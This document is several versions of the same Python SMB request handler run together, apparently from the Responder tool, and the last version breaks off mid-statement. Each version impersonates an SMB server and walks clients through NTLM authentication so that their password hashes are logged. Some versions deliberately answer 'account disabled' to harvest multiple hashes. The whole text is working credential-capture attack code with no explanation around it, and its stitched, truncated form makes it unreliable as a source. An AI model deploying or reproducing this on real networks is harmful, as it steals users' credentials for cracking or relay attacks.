def handle(self): try: self.ntry = 0 while True: data = self.request.recv(1024) self.request.settimeout(1) Challenge = RandomChallenge() if not data: break if data[0] == "\x81": #session request 139 Buffer = "\x82\x00\x00\x00" try: self.request.send(Buffer) data = self.request.recv(1024) except: raise pass ##Negotiate proto answer SMBv2. if data[8:10] == b"\x72\x00" and re.search( b"SMB 2.\?\?\?", data): head = SMB2Header(CreditCharge="\x00\x00", Credits="\x01\x00") t = SMB2NegoAns() t.calculate() packet1 = str(head) + str(t) buffer1 = StructPython2or3('>i', str(packet1)) + str(packet1) self.request.send(NetworkSendBufferPython2or3(buffer1)) data = self.request.recv(1024) ## Session Setup 1 answer SMBv2. if data[16:18] == b"\x00\x00" and data[4:5] == b"\xfe": head = SMB2Header( MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1')) t = SMB2NegoAns(Dialect="\x10\x02") t.calculate() packet1 = str(head) + str(t) buffer1 = StructPython2or3('>i', str(packet1)) + str(packet1) self.request.send(NetworkSendBufferPython2or3(buffer1)) data = self.request.recv(1024) ## Session Setup 2 answer SMBv2. if data[16:18] == b"\x01\x00" and data[4:5] == b"\xfe": head = SMB2Header( Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), SessionID=GrabSessionID(data).decode('latin-1'), NTStatus="\x16\x00\x00\xc0") t = SMB2Session1Data( NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3( Challenge)) t.calculate() packet1 = str(head) + str(t) buffer1 = StructPython2or3('>i', str(packet1)) + str(packet1) self.request.send(NetworkSendBufferPython2or3(buffer1)) data = self.request.recv(1024) ## Session Setup 3 answer SMBv2. if data[16:18] == b'\x01\x00' and GrabMessageID( data)[0:1] == b'\x02' and data[4:5] == b'\xfe': ParseSMBHash(data, self.client_address[0], Challenge) head = SMB2Header( Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1')) t = SMB2Session2Data() packet1 = str(head) + str(t) buffer1 = StructPython2or3('>i', str(packet1)) + str(packet1) self.request.send(NetworkSendBufferPython2or3(buffer1)) data = self.request.recv(1024) # Negotiate Protocol Response smbv1 if data[8:10] == b'\x72\x00' and data[ 4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None: Header = SMBHeader( cmd="\x72", flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)), mid=midcalc(NetworkRecvBufferPython2or3(data))) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect( NetworkRecvBufferPython2or3(data))) Body.calculate() packet1 = str(Header) + str(Body) Buffer = StructPython2or3('>i', str(packet1)) + str(packet1) self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) if data[8:10] == b"\x73\x00" and data[ 4:5] == b"\xff": # Session Setup AndX Request smbv1 IsNT4ClearTxt(data, self.client_address[0]) # STATUS_MORE_PROCESSING_REQUIRED Header = SMBHeader( cmd="\x73", flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256)) + chr(randrange(256)), pid=pidcalc(NetworkRecvBufferPython2or3(data)), tid="\x00\x00", mid=midcalc(NetworkRecvBufferPython2or3(data))) if settings.Config.CaptureMultipleCredentials and self.ntry == 0: Body = SMBSession1Data( NTLMSSPNtServerChallenge= NetworkRecvBufferPython2or3(Challenge), NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") else: Body = SMBSession1Data( NTLMSSPNtServerChallenge= NetworkRecvBufferPython2or3(Challenge)) Body.calculate() packet1 = str(Header) + str(Body) Buffer = StructPython2or3('>i', str(packet1)) + str(packet1) self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) if data[8:10] == b"\x73\x00" and data[ 4:5] == b"\xff": # STATUS_SUCCESS if Is_Anonymous(data): Header = SMBHeader( cmd="\x73", flag1="\x98", flag2="\x01\xc8", errorcode="\x72\x00\x00\xc0", pid=pidcalc(data), tid="\x00\x00", uid=uidcalc(NetworkRecvBufferPython2or3(data)), mid=midcalc(NetworkRecvBufferPython2or3(data)) ) ###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() packet1 = str(Header) + str(Body) Buffer = StructPython2or3( '>i', str(packet1)) + str(packet1) self.request.send( NetworkSendBufferPython2or3(Buffer)) else: # Parse NTLMSSP_AUTH packet ParseSMBHash(data, self.client_address[0], Challenge) if settings.Config.CaptureMultipleCredentials and self.ntry == 0: # Send ACCOUNT_DISABLED to get multiple hashes if there are any Header = SMBHeader( cmd="\x73", flag1="\x98", flag2="\x01\xc8", errorcode="\x72\x00\x00\xc0", pid=pidcalc( NetworkRecvBufferPython2or3(data)), tid="\x00\x00", uid=uidcalc( NetworkRecvBufferPython2or3(data)), mid=midcalc( NetworkRecvBufferPython2or3(data)) ) ###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() packet1 = str(Header) + str(Body) Buffer = StructPython2or3( '>i', str(packet1)) + str(packet1) self.request.send( NetworkSendBufferPython2or3(Buffer)) self.ntry += 1 continue # Send STATUS_SUCCESS Header = SMBHeader( cmd="\x73", flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(NetworkRecvBufferPython2or3(data)), tid=tidcalc(NetworkRecvBufferPython2or3(data)), uid=uidcalc(NetworkRecvBufferPython2or3(data)), mid=midcalc(NetworkRecvBufferPython2or3(data))) Body = SMBSession2Accept() Body.calculate() packet1 = str(Header) + str(Body) Buffer = StructPython2or3( '>i', str(packet1)) + str(packet1) self.request.send( NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) if data[8:10] == b"\x75\x00" and data[ 4:5] == b"\xff": # Tree Connect AndX Request ParseShare(data) Header = SMBHeader( cmd="\x75", flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(NetworkRecvBufferPython2or3(data)), tid=chr(randrange(256)) + chr(randrange(256)), uid=uidcalc(data), mid=midcalc(NetworkRecvBufferPython2or3(data))) Body = SMBTreeData() Body.calculate() packet1 = str(Header) + str(Body) Buffer = StructPython2or3('>i', str(packet1)) + str(packet1) self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) except: pass
def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(1) if not data: break if data[0] == "\x81": #session request 139 Buffer = "\x82\x00\x00\x00" try: self.request.send(Buffer) data = self.request.recv(1024) except: pass if data[8:10] == "\x72\x00": # Negociate Protocol Response Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x73\x00": # Session Setup AndX Request IsNT4ClearTxt(data, self.client_address[0]) # STATUS_MORE_PROCESSING_REQUIRED Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge) Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(4096) if data[8:10] == "\x73\x00": # STATUS_SUCCESS if Is_Anonymous(data): Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) else: # Parse NTLMSSP_AUTH packet ParseSMBHash(data,self.client_address[0]) # Send STATUS_SUCCESS Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = SMBSession2Accept() Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x75\x00": # Tree Connect AndX Request ParseShare(data) Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) Body = SMBTreeData() Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x71\x00": #Tree Disconnect Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\xa2\x00": #NT_CREATE Access Denied. Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x25\x00": # Trans2 Access Denied. Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x74\x00": # LogOff Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x02\xff\x00\x27\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) except socket.timeout: pass
def handle(self): try: self.ntry = 0 while True: data = self.request.recv(1024) self.request.settimeout(1) if not data: break if data[0] == "\x81": #session request 139 Buffer = "\x82\x00\x00\x00" try: self.request.send(Buffer) data = self.request.recv(1024) except: pass ##Negotiate proto answer SMBv2. if data[8:10] == "\x72\x00" and re.search( "SMB 2.\?\?\?", data): head = SMB2Header(CreditCharge="\x00\x00", Credits="\x01\x00") t = SMB2NegoAns() t.calculate() packet1 = str(head) + str(t) buffer1 = struct.pack(">i", len( ''.join(packet1))) + packet1 self.request.send(buffer1) data = self.request.recv(1024) ## Session Setup 1 answer SMBv2. if data[16:18] == "\x00\x00" and data[4:5] == "\xfe": head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data)) t = SMB2NegoAns(Dialect="\x10\x02") t.calculate() packet1 = str(head) + str(t) buffer1 = struct.pack(">i", len( ''.join(packet1))) + packet1 self.request.send(buffer1) data = self.request.recv(1024) ## Session Setup 2 answer SMBv2. if data[16:18] == "\x01\x00" and data[4:5] == "\xfe": head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data), NTStatus="\x16\x00\x00\xc0") t = SMB2Session1Data() t.calculate() packet1 = str(head) + str(t) buffer1 = struct.pack(">i", len( ''.join(packet1))) + packet1 self.request.send(buffer1) data = self.request.recv(1024) ## Session Setup 3 answer SMBv2. if data[16:18] == "\x01\x00" and GrabMessageID( data)[0:1] == "\x02" and data[4:5] == "\xfe": ParseSMB2NTLMv2Hash(data, self.client_address[0]) head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data)) t = SMB2Session2Data() packet1 = str(head) + str(t) buffer1 = struct.pack(">i", len( ''.join(packet1))) + packet1 self.request.send(buffer1) data = self.request.recv(1024) # Negotiate Protocol Response smbv1 if data[8:10] == "\x72\x00" and data[ 4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None: Header = SMBHeader(cmd="\x72", flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data), mid=midcalc(data)) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) Body.calculate() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x73\x00" and data[ 4:5] == "\xff": # Session Setup AndX Request smbv1 IsNT4ClearTxt(data, self.client_address[0]) # STATUS_MORE_PROCESSING_REQUIRED Header = SMBHeader(cmd="\x73", flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256)) + chr(randrange(256)), pid=pidcalc(data), tid="\x00\x00", mid=midcalc(data)) if settings.Config.CaptureMultipleCredentials and self.ntry == 0: Body = SMBSession1Data( NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") else: Body = SMBSession1Data( NTLMSSPNtServerChallenge=settings.Config.Challenge) Body.calculate() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x73\x00" and data[ 4:5] == "\xff": # STATUS_SUCCESS if Is_Anonymous(data): Header = SMBHeader( cmd="\x73", flag1="\x98", flag2="\x01\xc8", errorcode="\x72\x00\x00\xc0", pid=pidcalc(data), tid="\x00\x00", uid=uidcalc(data), mid=midcalc(data) ) ###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len( ''.join(Packet))) + Packet self.request.send(Buffer) else: # Parse NTLMSSP_AUTH packet ParseSMBHash(data, self.client_address[0]) if settings.Config.CaptureMultipleCredentials and self.ntry == 0: # Send ACCOUNT_DISABLED to get multiple hashes if there are any Header = SMBHeader( cmd="\x73", flag1="\x98", flag2="\x01\xc8", errorcode="\x72\x00\x00\xc0", pid=pidcalc(data), tid="\x00\x00", uid=uidcalc(data), mid=midcalc(data) ) ###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len( ''.join(Packet))) + Packet self.request.send(Buffer) self.ntry += 1 continue # Send STATUS_SUCCESS Header = SMBHeader(cmd="\x73", flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = SMBSession2Accept() Body.calculate() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len( ''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x75\x00" and data[ 4:5] == "\xff": # Tree Connect AndX Request ParseShare(data) Header = SMBHeader(cmd="\x75", flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256)) + chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) Body = SMBTreeData() Body.calculate() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x71\x00" and data[ 4:5] == "\xff": #Tree Disconnect Header = SMBHeader(cmd="\x71", flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\xa2\x00" and data[ 4:5] == "\xff": #NT_CREATE Access Denied. Header = SMBHeader(cmd="\xa2", flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x25\x00" and data[ 4:5] == "\xff": # Trans2 Access Denied. Header = SMBHeader(cmd="\x25", flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x74\x00" and data[4:5] == "\xff": # LogOff Header = SMBHeader(cmd="\x74", flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = "\x02\xff\x00\x27\x00\x00\x00" Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) except socket.error: pass
def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(1) if len(data) < 1: break ##session request 139 if data[0] == "\x81": Buffer = "\x82\x00\x00\x00" try: self.request.send(Buffer) data = self.request.recv(1024) except: pass # Negociate Protocol Response if data[8:10] == "\x72\x00": # \x72 == Negociate Protocol Response Header = SMBHeader(cmd="\x72", flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data), mid=midcalc(data)) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) Body.calculate() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) # Session Setup AndX Request if data[8:10] == "\x73\x00": IsNT4ClearTxt(data, self.client_address[0]) # STATUS_MORE_PROCESSING_REQUIRED Header = SMBHeader(cmd="\x73", flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256)) + chr(randrange(256)), pid=pidcalc(data), tid="\x00\x00", mid=midcalc(data)) Body = SMBSession1Data( NTLMSSPNtServerChallenge=settings.Config.Challenge) Body.calculate() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(4096) # STATUS_SUCCESS if data[8:10] == "\x73\x00": if Is_Anonymous(data): Header = SMBHeader( cmd="\x73", flag1="\x98", flag2="\x01\xc8", errorcode="\x72\x00\x00\xc0", pid=pidcalc(data), tid="\x00\x00", uid=uidcalc(data), mid=midcalc(data) ) ###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len( ''.join(Packet))) + Packet self.request.send(Buffer) else: # Parse NTLMSSP_AUTH packet ParseSMBHash(data, self.client_address[0]) # Send STATUS_SUCCESS Header = SMBHeader(cmd="\x73", flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = SMBSession2Accept() Body.calculate() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len( ''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) # Tree Connect AndX Request if data[8:10] == "\x75\x00": ParseShare(data) # Tree Connect AndX Response Header = SMBHeader(cmd="\x75", flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256)) + chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) Body = SMBTreeData() Body.calculate() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) ##Tree Disconnect. if data[8:10] == "\x71\x00": Header = SMBHeader(cmd="\x71", flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) ##NT_CREATE Access Denied. if data[8:10] == "\xa2\x00": Header = SMBHeader(cmd="\xa2", flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) ##Trans2 Access Denied. if data[8:10] == "\x25\x00": Header = SMBHeader(cmd="\x25", flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) ##LogOff. if data[8:10] == "\x74\x00": Header = SMBHeader(cmd="\x74", flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = "\x02\xff\x00\x27\x00\x00\x00" Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) except socket.timeout: pass
def handle(self): try: self.ntry = 0 while True: data = self.request.recv(1024) self.request.settimeout(1) if not data: break if data[0] == "\x81": #session request 139 Buffer = "\x82\x00\x00\x00" try: self.request.send(Buffer) data = self.request.recv(1024) except: pass if data[8:10] == "\x72\x00": # Negociate Protocol Response Header = SMBHeader(cmd="\x72", flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data), mid=midcalc(data)) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) Body.calculate() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) try: data = self.request.recv(1024) except: pass if data[8:10] == "\x73\x00": # Session Setup AndX Request IsNT4ClearTxt(data, self.client_address[0]) # STATUS_MORE_PROCESSING_REQUIRED Header = SMBHeader(cmd="\x73", flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256)) + chr(randrange(256)), pid=pidcalc(data), tid="\x00\x00", mid=midcalc(data)) if settings.Config.CaptureMultipleCredentials and self.ntry == 0: Body = SMBSession1Data( NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") else: Body = SMBSession1Data( NTLMSSPNtServerChallenge=settings.Config.Challenge) Body.calculate() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(4096) if data[8:10] == "\x73\x00": # STATUS_SUCCESS if Is_Anonymous(data): Header = SMBHeader( cmd="\x73", flag1="\x98", flag2="\x01\xc8", errorcode="\x72\x00\x00\xc0", pid=pidcalc(data), tid="\x00\x00", uid=uidcalc(data), mid=midcalc(data) ) ###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len( ''.join(Packet))) + Packet self.request.send(Buffer) else: # Parse NTLMSSP_AUTH packet ParseSMBHash(data, self.client_address[0]) if settings.Config.CaptureMultipleCredentials and self.ntry == 0: # Send ACCOUNT_DISABLED to get multiple hashes if there are any Header = SMBHeader( cmd="\x73", flag1="\x98", flag2="\x01\xc8", errorcode="\x72\x00\x00\xc0", pid=pidcalc(data), tid="\x00\x00", uid=uidcalc(data), mid=midcalc(data) ) ###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len( ''.join(Packet))) + Packet self.request.send(Buffer) self.ntry += 1 continue # Send STATUS_SUCCESS Header = SMBHeader(cmd="\x73", flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = SMBSession2Accept() Body.calculate() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len( ''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x75\x00": # Tree Connect AndX Request ParseShare(data) Header = SMBHeader(cmd="\x75", flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256)) + chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) Body = SMBTreeData() Body.calculate() Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x71\x00": #Tree Disconnect Header = SMBHeader(cmd="\x71", flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\xa2\x00": #NT_CREATE Access Denied. Header = SMBHeader(cmd="\xa2", flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x25\x00": # Trans2 Access Denied. Header = SMBHeader(cmd="\x25", flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x74\x00": # LogOff Header = SMBHeader(cmd="\x74", flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0", pid=pidcalc(data), tid=tidcalc(data), uid=uidcalc(data), mid=midcalc(data)) Body = "\x02\xff\x00\x27\x00\x00\x00" Packet = str(Header) + str(Body) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) except socket.timeout: pass
def handle(self): try: self.ntry = 0 while True: data = self.request.recv(1024) self.request.settimeout(1) if not data: break if data[0] == "\x81": #session request 139 Buffer = "\x82\x00\x00\x00" try: self.request.send(Buffer) data = self.request.recv(1024) except: pass ##Negotiate proto answer SMBv2. if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data): head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00") t = SMB2NegoAns() t.calculate() packet1 = str(head)+str(t) buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 self.request.send(buffer1) data = self.request.recv(1024) ## Session Setup 1 answer SMBv2. if data[16:18] == "\x00\x00" and data[4:5] == "\xfe": head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data)) t = SMB2NegoAns(Dialect="\x10\x02") t.calculate() packet1 = str(head)+str(t) buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 self.request.send(buffer1) data = self.request.recv(1024) ## Session Setup 2 answer SMBv2. if data[16:18] == "\x01\x00" and data[4:5] == "\xfe": head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0") t = SMB2Session1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge) t.calculate() packet1 = str(head)+str(t) buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 self.request.send(buffer1) data = self.request.recv(1024) ## Session Setup 3 answer SMBv2. if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe": ParseSMB2NTLMv2Hash(data, self.client_address[0]) head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), 